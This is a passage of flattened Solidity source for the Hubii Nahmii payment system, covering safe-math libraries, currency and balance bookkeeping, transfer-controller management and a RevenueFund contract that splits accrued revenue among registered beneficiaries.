beneficiaryIndexByAddress[_beneficiary] = 0; // Emit event emit DeregisterBeneficiaryEvent(beneficiary); return true; } /// @notice Gauge whether the given address is the one of a registered beneficiary /// @param beneficiary Address of beneficiary /// @return true if beneficiary is registered, else false function isRegisteredBeneficiary(Beneficiary beneficiary) public view returns (bool) { return beneficiaryIndexByAddress[address(beneficiary)] > 0; } /// @notice Get the count of registered beneficiaries /// @return The count of registered beneficiaries function registeredBeneficiariesCount() public view returns (uint256) { return beneficiaries.length; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS based on Open-Zeppelin's SafeMath library */ /** * @title SafeMathIntLib * @dev Math operations with safety checks that throw on error */ library SafeMathIntLib { int256 constant INT256_MIN = int256((uint256(1) << 255)); int256 constant INT256_MAX = int256(~((uint256(1) << 255))); // //Functions below accept positive and negative integers and result must not overflow. // function div(int256 a, int256 b) internal pure returns (int256) { require(a != INT256_MIN || b != - 1); return a / b; } function mul(int256 a, int256 b) internal pure returns (int256) { require(a != - 1 || b != INT256_MIN); // overflow require(b != - 1 || a != INT256_MIN); // overflow int256 c = a * b; require((b == 0) || (c / b == a)); return c; } function sub(int256 a, int256 b) internal pure returns (int256) { require((b >= 0 && a - b <= a) || (b < 0 && a - b > a)); return a - b; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } // //Functions below only accept positive integers and result must be greater or equal to zero too. // function div_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b > 0); return a / b; } function mul_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b >= 0); int256 c = a * b; require(a == 0 || c / a == b); require(c >= 0); return c; } function sub_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b >= 0 && b <= a); return a - b; } function add_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b >= 0); int256 c = a + b; require(c >= a); return c; } // //Conversion and validation functions. // function abs(int256 a) public pure returns (int256) { return a < 0 ? neg(a) : a; } function neg(int256 a) public pure returns (int256) { return mul(a, - 1); } function toNonZeroInt256(uint256 a) public pure returns (int256) { require(a > 0 && a < (uint256(1) << 255)); return int256(a); } function toInt256(uint256 a) public pure returns (int256) { require(a >= 0 && a < (uint256(1) << 255)); return int256(a); } function toUInt256(int256 a) public pure returns (uint256) { require(a >= 0); return uint256(a); } function isNonZeroPositiveInt256(int256 a) public pure returns (bool) { return (a > 0); } function isPositiveInt256(int256 a) public pure returns (bool) { return (a >= 0); } function isNonZeroNegativeInt256(int256 a) public pure returns (bool) { return (a < 0); } function isNegativeInt256(int256 a) public pure returns (bool) { return (a <= 0); } // //Clamping functions. // function clamp(int256 a, int256 min, int256 max) public pure returns (int256) { if (a < min) return min; return (a > max) ? max : a; } function clampMin(int256 a, int256 min) public pure returns (int256) { return (a < min) ? min : a; } function clampMax(int256 a, int256 max) public pure returns (int256) { return (a > max) ? max : a; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ library ConstantsLib { // Get the fraction that represents the entirety, equivalent of 100% function PARTS_PER() public pure returns (int256) { return 1e18; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title AccrualBenefactor * @notice A benefactor whose registered beneficiaries obtain a predefined fraction of total amount */ contract AccrualBenefactor is Benefactor { using SafeMathIntLib for int256; // // Variables // ----------------------------------------------------------------------------------------------------------------- mapping(address => int256) private _beneficiaryFractionMap; int256 public totalBeneficiaryFraction; // // Events // ----------------------------------------------------------------------------------------------------------------- event RegisterAccrualBeneficiaryEvent(Beneficiary beneficiary, int256 fraction); event DeregisterAccrualBeneficiaryEvent(Beneficiary beneficiary); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Register the given accrual beneficiary for the entirety fraction /// @param beneficiary Address of accrual beneficiary to be registered function registerBeneficiary(Beneficiary beneficiary) public onlyDeployer notNullAddress(address(beneficiary)) returns (bool) { return registerFractionalBeneficiary(AccrualBeneficiary(address(beneficiary)), ConstantsLib.PARTS_PER()); } /// @notice Register the given accrual beneficiary for the given fraction /// @param beneficiary Address of accrual beneficiary to be registered /// @param fraction Fraction of benefits to be given function registerFractionalBeneficiary(AccrualBeneficiary beneficiary, int256 fraction) public onlyDeployer notNullAddress(address(beneficiary)) returns (bool) { require(fraction > 0, "Fraction not strictly positive [AccrualBenefactor.sol:59]"); require( totalBeneficiaryFraction.add(fraction) <= ConstantsLib.PARTS_PER(), "Total beneficiary fraction out of bounds [AccrualBenefactor.sol:60]" ); if (!super.registerBeneficiary(beneficiary)) return false; _beneficiaryFractionMap[address(beneficiary)] = fraction; totalBeneficiaryFraction = totalBeneficiaryFraction.add(fraction); // Emit event emit RegisterAccrualBeneficiaryEvent(beneficiary, fraction); return true; } /// @notice Deregister the given accrual beneficiary /// @param beneficiary Address of accrual beneficiary to be deregistered function deregisterBeneficiary(Beneficiary beneficiary) public onlyDeployer notNullAddress(address(beneficiary)) returns (bool) { if (!super.deregisterBeneficiary(beneficiary)) return false; address _beneficiary = address(beneficiary); totalBeneficiaryFraction = totalBeneficiaryFraction.sub(_beneficiaryFractionMap[_beneficiary]); _beneficiaryFractionMap[_beneficiary] = 0; // Emit event emit DeregisterAccrualBeneficiaryEvent(beneficiary); return true; } /// @notice Get the fraction of benefits that is granted the given accrual beneficiary /// @param beneficiary Address of accrual beneficiary /// @return The beneficiary's fraction function beneficiaryFraction(AccrualBeneficiary beneficiary) public view returns (int256) { return _beneficiaryFractionMap[address(beneficiary)]; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title TransferController * @notice A base contract to handle transfers of different currency types */ contract TransferController { // // Events // ----------------------------------------------------------------------------------------------------------------- event CurrencyTransferred(address from, address to, uint256 value, address currencyCt, uint256 currencyId); // // Functions // ----------------------------------------------------------------------------------------------------------------- function isFungible() public view returns (bool); function standard() public view returns (string memory); /// @notice MUST be called with DELEGATECALL function receive(address from, address to, uint256 value, address currencyCt, uint256 currencyId) public; /// @notice MUST be called with DELEGATECALL function approve(address to, uint256 value, address currencyCt, uint256 currencyId) public; /// @notice MUST be called with DELEGATECALL function dispatch(address from, address to, uint256 value, address currencyCt, uint256 currencyId) public; //---------------------------------------- function getReceiveSignature() public pure returns (bytes4) { return bytes4(keccak256("receive(address,address,uint256,address,uint256)")); } function getApproveSignature() public pure returns (bytes4) { return bytes4(keccak256("approve(address,uint256,address,uint256)")); } function getDispatchSignature() public pure returns (bytes4) { return bytes4(keccak256("dispatch(address,address,uint256,address,uint256)")); } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title TransferControllerManager * @notice Handles the management of transfer controllers */ contract TransferControllerManager is Ownable { // // Constants // ----------------------------------------------------------------------------------------------------------------- struct CurrencyInfo { bytes32 standard; bool blacklisted; } // // Variables // ----------------------------------------------------------------------------------------------------------------- mapping(bytes32 => address) public registeredTransferControllers; mapping(address => CurrencyInfo) public registeredCurrencies; // // Events // ----------------------------------------------------------------------------------------------------------------- event RegisterTransferControllerEvent(string standard, address controller); event ReassociateTransferControllerEvent(string oldStandard, string newStandard, address controller); event RegisterCurrencyEvent(address currencyCt, string standard); event DeregisterCurrencyEvent(address currencyCt); event BlacklistCurrencyEvent(address currencyCt); event WhitelistCurrencyEvent(address currencyCt); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { } // // Functions // ----------------------------------------------------------------------------------------------------------------- function registerTransferController(string calldata standard, address controller) external onlyDeployer notNullAddress(controller) { require(bytes(standard).length > 0, "Empty standard not supported [TransferControllerManager.sol:58]"); bytes32 standardHash = keccak256(abi.encodePacked(standard)); registeredTransferControllers[standardHash] = controller; // Emit event emit RegisterTransferControllerEvent(standard, controller); } function reassociateTransferController(string calldata oldStandard, string calldata newStandard, address controller) external onlyDeployer notNullAddress(controller) { require(bytes(newStandard).length > 0, "Empty new standard not supported [TransferControllerManager.sol:72]"); bytes32 oldStandardHash = keccak256(abi.encodePacked(oldStandard)); bytes32 newStandardHash = keccak256(abi.encodePacked(newStandard)); require(registeredTransferControllers[oldStandardHash] != address(0), "Old standard not registered [TransferControllerManager.sol:76]"); require(registeredTransferControllers[newStandardHash] == address(0), "New standard previously registered [TransferControllerManager.sol:77]"); registeredTransferControllers[newStandardHash] = registeredTransferControllers[oldStandardHash]; registeredTransferControllers[oldStandardHash] = address(0); // Emit event emit ReassociateTransferControllerEvent(oldStandard, newStandard, controller); } function registerCurrency(address currencyCt, string calldata standard) external onlyOperator notNullAddress(currencyCt) { require(bytes(standard).length > 0, "Empty standard not supported [TransferControllerManager.sol:91]"); bytes32 standardHash = keccak256(abi.encodePacked(standard)); require(registeredCurrencies[currencyCt].standard == bytes32(0), "Currency previously registered [TransferControllerManager.sol:94]"); registeredCurrencies[currencyCt].standard = standardHash; // Emit event emit RegisterCurrencyEvent(currencyCt, standard); } function deregisterCurrency(address currencyCt) external onlyOperator { require(registeredCurrencies[currencyCt].standard != 0, "Currency not registered [TransferControllerManager.sol:106]"); registeredCurrencies[currencyCt].standard = bytes32(0); registeredCurrencies[currencyCt].blacklisted = false; // Emit event emit DeregisterCurrencyEvent(currencyCt); } function blacklistCurrency(address currencyCt) external onlyOperator { require(registeredCurrencies[currencyCt].standard != bytes32(0), "Currency not registered [TransferControllerManager.sol:119]"); registeredCurrencies[currencyCt].blacklisted = true; // Emit event emit BlacklistCurrencyEvent(currencyCt); } function whitelistCurrency(address currencyCt) external onlyOperator { require(registeredCurrencies[currencyCt].standard != bytes32(0), "Currency not registered [TransferControllerManager.sol:131]"); registeredCurrencies[currencyCt].blacklisted = false; // Emit event emit WhitelistCurrencyEvent(currencyCt); } /** @notice The provided standard takes priority over assigned interface to currency */ function transferController(address currencyCt, string memory standard) public view returns (TransferController) { if (bytes(standard).length > 0) { bytes32 standardHash = keccak256(abi.encodePacked(standard)); require(registeredTransferControllers[standardHash] != address(0), "Standard not registered [TransferControllerManager.sol:150]"); return TransferController(registeredTransferControllers[standardHash]); } require(registeredCurrencies[currencyCt].standard != bytes32(0), "Currency not registered [TransferControllerManager.sol:154]"); require(!registeredCurrencies[currencyCt].blacklisted, "Currency blacklisted [TransferControllerManager.sol:155]"); address controllerAddress = registeredTransferControllers[registeredCurrencies[currencyCt].standard]; require(controllerAddress != address(0), "No matching transfer controller [TransferControllerManager.sol:158]"); return TransferController(controllerAddress); } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title TransferControllerManageable * @notice An ownable with a transfer controller manager */ contract TransferControllerManageable is Ownable { // // Variables // ----------------------------------------------------------------------------------------------------------------- TransferControllerManager public transferControllerManager; // // Events // ----------------------------------------------------------------------------------------------------------------- event SetTransferControllerManagerEvent(TransferControllerManager oldTransferControllerManager, TransferControllerManager newTransferControllerManager); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Set the currency manager contract /// @param newTransferControllerManager The (address of) TransferControllerManager contract instance function setTransferControllerManager(TransferControllerManager newTransferControllerManager) public onlyDeployer notNullAddress(address(newTransferControllerManager)) notSameAddresses(address(newTransferControllerManager), address(transferControllerManager)) { //set new currency manager TransferControllerManager oldTransferControllerManager = transferControllerManager; transferControllerManager = newTransferControllerManager; // Emit event emit SetTransferControllerManagerEvent(oldTransferControllerManager, newTransferControllerManager); } /// @notice Get the transfer controller of the given currency contract address and standard function transferController(address currencyCt, string memory standard) internal view returns (TransferController) { return transferControllerManager.transferController(currencyCt, standard); } // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier transferControllerManagerInitialized() { require(address(transferControllerManager) != address(0), "Transfer controller manager not initialized [TransferControllerManageable.sol:63]"); _; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS based on Open-Zeppelin's SafeMath library */ /** * @title SafeMathUintLib * @dev Math operations with safety checks that throw on error */ library SafeMathUintLib { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // //Clamping functions. // function clamp(uint256 a, uint256 min, uint256 max) public pure returns (uint256) { return (a > max) ? max : ((a < min) ? min : a); } function clampMin(uint256 a, uint256 min) public pure returns (uint256) { return (a < min) ? min : a; } function clampMax(uint256 a, uint256 max) public pure returns (uint256) { return (a > max) ? max : a; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ library CurrenciesLib { using SafeMathUintLib for uint256; // // Structures // ----------------------------------------------------------------------------------------------------------------- struct Currencies { MonetaryTypesLib.Currency[] currencies; mapping(address => mapping(uint256 => uint256)) indexByCurrency; } // // Functions // ----------------------------------------------------------------------------------------------------------------- function add(Currencies storage self, address currencyCt, uint256 currencyId) internal { // Index is 1-based if (0 == self.indexByCurrency[currencyCt][currencyId]) { self.currencies.push(MonetaryTypesLib.Currency(currencyCt, currencyId)); self.indexByCurrency[currencyCt][currencyId] = self.currencies.length; } } function removeByCurrency(Currencies storage self, address currencyCt, uint256 currencyId) internal { // Index is 1-based uint256 index = self.indexByCurrency[currencyCt][currencyId]; if (0 < index) removeByIndex(self, index - 1); } function removeByIndex(Currencies storage self, uint256 index) internal { require(index < self.currencies.length, "Index out of bounds [CurrenciesLib.sol:51]"); address currencyCt = self.currencies[index].ct; uint256 currencyId = self.currencies[index].id; if (index < self.currencies.length - 1) { self.currencies[index] = self.currencies[self.currencies.length - 1]; self.indexByCurrency[self.currencies[index].ct][self.currencies[index].id] = index + 1; } self.currencies.length--; self.indexByCurrency[currencyCt][currencyId] = 0; } function count(Currencies storage self) internal view returns (uint256) { return self.currencies.length; } function has(Currencies storage self, address currencyCt, uint256 currencyId) internal view returns (bool) { return 0 != self.indexByCurrency[currencyCt][currencyId]; } function getByIndex(Currencies storage self, uint256 index) internal view returns (MonetaryTypesLib.Currency memory) { require(index < self.currencies.length, "Index out of bounds [CurrenciesLib.sol:85]"); return self.currencies[index]; } function getByIndices(Currencies storage self, uint256 low, uint256 up) internal view returns (MonetaryTypesLib.Currency[] memory) { require(0 < self.currencies.length, "No currencies found [CurrenciesLib.sol:94]"); require(low <= up, "Bounds parameters mismatch [CurrenciesLib.sol:95]"); up = up.clampMax(self.currencies.length - 1); MonetaryTypesLib.Currency[] memory _currencies = new MonetaryTypesLib.Currency[](up - low + 1); for (uint256 i = low; i <= up; i++) _currencies[i - low] = self.currencies[i]; return _currencies; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ library FungibleBalanceLib { using SafeMathIntLib for int256; using SafeMathUintLib for uint256; using CurrenciesLib for CurrenciesLib.Currencies; // // Structures // ----------------------------------------------------------------------------------------------------------------- struct Record { int256 amount; uint256 blockNumber; } struct Balance { mapping(address => mapping(uint256 => int256)) amountByCurrency; mapping(address => mapping(uint256 => Record[])) recordsByCurrency; CurrenciesLib.Currencies inUseCurrencies; CurrenciesLib.Currencies everUsedCurrencies; } // // Functions // ----------------------------------------------------------------------------------------------------------------- function get(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (int256) { return self.amountByCurrency[currencyCt][currencyId]; } function getByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber) internal view returns (int256) { (int256 amount,) = recordByBlockNumber(self, currencyCt, currencyId, blockNumber); return amount; } function set(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = amount; self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function add(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function sub(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function transfer(Balance storage _from, Balance storage _to, int256 amount, address currencyCt, uint256 currencyId) internal { sub(_from, amount, currencyCt, currencyId); add(_to, amount, currencyCt, currencyId); } function add_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add_nn(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function sub_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub_nn(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function transfer_nn(Balance storage _from, Balance storage _to, int256 amount, address currencyCt, uint256 currencyId) internal { sub_nn(_from, amount, currencyCt, currencyId); add_nn(_to, amount, currencyCt, currencyId); } function recordsCount(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (uint256) { return self.recordsByCurrency[currencyCt][currencyId].length; } function recordByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber) internal view returns (int256, uint256) { uint256 index = indexByBlockNumber(self, currencyCt, currencyId, blockNumber); return 0 < index ? recordByIndex(self, currencyCt, currencyId, index - 1) : (0, 0); } function recordByIndex(Balance storage self, address currencyCt, uint256 currencyId, uint256 index) internal view returns (int256, uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return (0, 0); index = index.clampMax(self.recordsByCurrency[currencyCt][currencyId].length - 1); Record storage record = self.recordsByCurrency[currencyCt][currencyId][index]; return (record.amount, record.blockNumber); } function lastRecord(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (int256, uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return (0, 0); Record storage record = self.recordsByCurrency[currencyCt][currencyId][self.recordsByCurrency[currencyCt][currencyId].length - 1]; return (record.amount, record.blockNumber); } function hasInUseCurrency(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (bool) { return self.inUseCurrencies.has(currencyCt, currencyId); } function hasEverUsedCurrency(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (bool) { return self.everUsedCurrencies.has(currencyCt, currencyId); } function updateCurrencies(Balance storage self, address currencyCt, uint256 currencyId) internal { if (0 == self.amountByCurrency[currencyCt][currencyId] && self.inUseCurrencies.has(currencyCt, currencyId)) self.inUseCurrencies.removeByCurrency(currencyCt, currencyId); else if (!self.inUseCurrencies.has(currencyCt, currencyId)) { self.inUseCurrencies.add(currencyCt, currencyId); self.everUsedCurrencies.add(currencyCt, currencyId); } } function indexByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber) internal view returns (uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return 0; for (uint256 i = self.recordsByCurrency[currencyCt][currencyId].length; i > 0; i--) if (self.recordsByCurrency[currencyCt][currencyId][i - 1].blockNumber <= blockNumber) return i; return 0; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ library TxHistoryLib { // // Structures // ----------------------------------------------------------------------------------------------------------------- struct AssetEntry { int256 amount; uint256 blockNumber; address currencyCt; //0 for ethers uint256 currencyId; } struct TxHistory { AssetEntry[] deposits; mapping(address => mapping(uint256 => AssetEntry[])) currencyDeposits; AssetEntry[] withdrawals; mapping(address => mapping(uint256 => AssetEntry[])) currencyWithdrawals; } // // Functions // ----------------------------------------------------------------------------------------------------------------- function addDeposit(TxHistory storage self, int256 amount, address currencyCt, uint256 currencyId) internal { AssetEntry memory deposit = AssetEntry(amount, block.number, currencyCt, currencyId); self.deposits.push(deposit); self.currencyDeposits[currencyCt][currencyId].push(deposit); } function addWithdrawal(TxHistory storage self, int256 amount, address currencyCt, uint256 currencyId) internal { AssetEntry memory withdrawal = AssetEntry(amount, block.number, currencyCt, currencyId); self.withdrawals.push(withdrawal); self.currencyWithdrawals[currencyCt][currencyId].push(withdrawal); } //---- function deposit(TxHistory storage self, uint index) internal view returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId) { require(index < self.deposits.length, "Index ouf of bounds [TxHistoryLib.sol:56]"); amount = self.deposits[index].amount; blockNumber = self.deposits[index].blockNumber; currencyCt = self.deposits[index].currencyCt; currencyId = self.deposits[index].currencyId; } function depositsCount(TxHistory storage self) internal view returns (uint256) { return self.deposits.length; } function currencyDeposit(TxHistory storage self, address currencyCt, uint256 currencyId, uint index) internal view returns (int256 amount, uint256 blockNumber) { require(index < self.currencyDeposits[currencyCt][currencyId].length, "Index out of bounds [TxHistoryLib.sol:77]"); amount = self.currencyDeposits[currencyCt][currencyId][index].amount; blockNumber = self.currencyDeposits[currencyCt][currencyId][index].blockNumber; } function currencyDepositsCount(TxHistory storage self, address currencyCt, uint256 currencyId) internal view returns (uint256) { return self.currencyDeposits[currencyCt][currencyId].length; } //---- function withdrawal(TxHistory storage self, uint index) internal view returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId) { require(index < self.withdrawals.length, "Index out of bounds [TxHistoryLib.sol:98]"); amount = self.withdrawals[index].amount; blockNumber = self.withdrawals[index].blockNumber; currencyCt = self.withdrawals[index].currencyCt; currencyId = self.withdrawals[index].currencyId; } function withdrawalsCount(TxHistory storage self) internal view returns (uint256) { return self.withdrawals.length; } function currencyWithdrawal(TxHistory storage self, address currencyCt, uint256 currencyId, uint index) internal view returns (int256 amount, uint256 blockNumber) { require(index < self.currencyWithdrawals[currencyCt][currencyId].length, "Index out of bounds [TxHistoryLib.sol:119]"); amount = self.currencyWithdrawals[currencyCt][currencyId][index].amount; blockNumber = self.currencyWithdrawals[currencyCt][currencyId][index].blockNumber; } function currencyWithdrawalsCount(TxHistory storage self, address currencyCt, uint256 currencyId) internal view returns (uint256) { return self.currencyWithdrawals[currencyCt][currencyId].length; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title RevenueFund * @notice The target of all revenue earned in driip settlements and from which accrued revenue is split amongst * accrual beneficiaries. */ contract RevenueFund is Ownable, AccrualBeneficiary, AccrualBenefactor, TransferControllerManageable { using FungibleBalanceLib for FungibleBalanceLib.Balance; using TxHistoryLib for TxHistoryLib.TxHistory; using SafeMathIntLib for int256; using SafeMathUintLib for uint256; using CurrenciesLib for CurrenciesLib.Currencies; // // Variables // ----------------------------------------------------------------------------------------------------------------- FungibleBalanceLib.Balance periodAccrual; CurrenciesLib.Currencies periodCurrencies; FungibleBalanceLib.Balance aggregateAccrual; CurrenciesLib.Currencies aggregateCurrencies; TxHistoryLib.TxHistory private txHistory; // // Events // ----------------------------------------------------------------------------------------------------------------- event ReceiveEvent(address from, int256 amount, address currencyCt, uint256 currencyId); event CloseAccrualPeriodEvent(); event RegisterServiceEvent(address service); event DeregisterServiceEvent(address service); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Fallback function that deposits ethers function() external payable { receiveEthersTo(msg.sender, ""); } /// @notice Receive ethers to /// @param wallet The concerned wallet address function receiveEthersTo(address wallet, string memory) public payable { int256 amount = SafeMathIntLib.toNonZeroInt256(msg.value); // Add to balances periodAccrual.add(amount, address(0), 0); aggregateAccrual.add(amount, address(0), 0); // Add currency to stores of currencies periodCurrencies.add(address(0), 0); aggregateCurrencies.add(address(0), 0); // Add to transaction history txHistory.addDeposit(amount, address(0), 0); // Emit event emit ReceiveEvent(wallet, amount, address(0), 0); } /// @notice Receive tokens /// @param amount The concerned amount /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of token ("ERC20", "ERC721") function receiveTokens(string memory balanceType, int256 amount, address currencyCt, uint256 currencyId, string memory standard) public { receiveTokensTo(msg.sender, balanceType, amount, currencyCt, currencyId, standard); } /// @notice Receive tokens to /// @param wallet The address of the concerned wallet /// @param amount The concerned amount /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @param standard The standard of token ("ERC20", "ERC721") function receiveTokensTo(address wallet, string memory, int256 amount, address currencyCt, uint256 currencyId, string memory standard) public { require(amount.isNonZeroPositiveInt256(), "Amount not strictly positive [RevenueFund.sol:115]"); // Execute transfer TransferController controller = transferController(currencyCt, standard); (bool success,) = address(controller).delegatecall( abi.encodeWithSelector( controller.getReceiveSignature(), msg.sender, this, uint256(amount), currencyCt, currencyId ) ); require(success, "Reception by controller failed [RevenueFund.sol:124]"); // Add to balances periodAccrual.add(amount, currencyCt, currencyId); aggregateAccrual.add(amount, currencyCt, currencyId); // Add currency to stores of currencies periodCurrencies.add(currencyCt, currencyId); aggregateCurrencies.add(currencyCt, currencyId); // Add to transaction history txHistory.addDeposit(amount, currencyCt, currencyId); // Emit event emit ReceiveEvent(wallet, amount, currencyCt, currencyId); } /// @notice Get the period accrual balance of the given currency /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @return The current period's accrual balance function periodAccrualBalance(address currencyCt, uint256 currencyId) public view returns (int256) { return periodAccrual.get(currencyCt, currencyId); } /// @notice Get the aggregate accrual balance of the given currency, including contribution from the /// current accrual period /// @param currencyCt The address of the concerned currency contract (address(0) == ETH) /// @param currencyId The ID of the concerned currency (0 for ETH and ERC20) /// @return The aggregate accrual balance function aggregateAccrualBalance(address currencyCt, uint256 currencyId) public view returns (int256) { return aggregateAccrual.get(currencyCt, currencyId); } /// @notice Get the count of currencies recorded in the accrual period /// @return The number of currencies in the current accrual period function periodCurrenciesCount() public view returns (uint256) { return periodCurrencies.count(); } /// @notice Get the currencies with indices in the given range that have been recorded in the current accrual period /// @param low The lower currency index /// @param up The upper currency index /// @return The currencies of the given index range in the current accrual period function periodCurrenciesByIndices(uint256 low, uint256 up) public view returns (MonetaryTypesLib.Currency[] memory) { return periodCurrencies.getByIndices(low, up); } /// @notice Get the count of currencies ever recorded /// @return The number of currencies ever recorded function aggregateCurrenciesCount() public view returns (uint256) { return aggregateCurrencies.count(); } /// @notice Get the currencies with indices in the given range that have ever been recorded /// @param low The lower currency index /// @param up The upper currency index /// @return The currencies of the given index range ever recorded function aggregateCurrenciesByIndices(uint256 low, uint256 up) public view returns (MonetaryTypesLib.Currency[] memory) { return aggregateCurrencies.getByIndices(low, up); } /// @notice Get the count of deposits /// @return The count of deposits function depositsCount() public view returns (uint256) { return txHistory.depositsCount(); } /// @notice Get the deposit at the given index /// @return The deposit at the given index function deposit(uint index) public view returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId) { return txHistory.deposit(index); } /// @notice Close the current accrual period of the given currencies /// @param currencies The concerned currencies function closeAccrualPeriod(MonetaryTypesLib.Currency[] memory currencies) public onlyOperator { require( ConstantsLib.PARTS_PER() == totalBeneficiaryFraction, "Total beneficiary fraction out of bounds [RevenueFund.sol:236]" ); // Execute transfer for (uint256 i = 0; i < currencies.length; i++) { MonetaryTypesLib.Currency memory currency = currencies[i]; int256 remaining = periodAccrual.get(currency.ct, currency.id); if (0 >= remaining) continue; for (uint256 j = 0; j < beneficiaries.length; j++) { AccrualBeneficiary beneficiary = AccrualBeneficiary(address(beneficiaries[j])); if (beneficiaryFraction(beneficiary) > 0) { int256 transferable = periodAccrual.get(currency.ct, currency.id) .mul(beneficiaryFraction(beneficiary)) .div(ConstantsLib.PARTS_PER()); if (transferable > remaining) transferable = remaining; if (transferable > 0) { // Transfer ETH to the beneficiary if (currency.ct == address(0)) beneficiary.receiveEthersTo.value(uint256(transferable))(address(0), ""); // Transfer token to the beneficiary else { TransferController controller = transferController(currency.ct, ""); (bool success,) = address(controller).delegatecall( abi.encodeWithSelector( controller.getApproveSignature(), address(beneficiary), uint256(transferable), currency.ct, currency.id ) ); require(success, "Approval by controller failed [RevenueFund.sol:274]"); beneficiary.receiveTokensTo(address(0), "", transferable, currency.ct, currency.id, ""); } remaining = remaining.sub(transferable); } } } // Roll over remaining to next accrual period periodAccrual.set(remaining, currency.ct, currency.id); } // Close accrual period of accrual beneficiaries for (uint256 j = 0; j < beneficiaries.length; j++) { AccrualBeneficiary beneficiary = AccrualBeneficiary(address(beneficiaries[j])); // Require that beneficiary fraction is strictly positive if (0 >= beneficiaryFraction(beneficiary)) continue; // Close accrual period beneficiary.closeAccrualPeriod(currencies); } // Emit event emit CloseAccrualPeriodEvent(); } } /** * Strings Library * * In summary this is a simple library of string functions which make simple * string operations less tedious in solidity. * * Please be aware these functions can be quite gas heavy so use 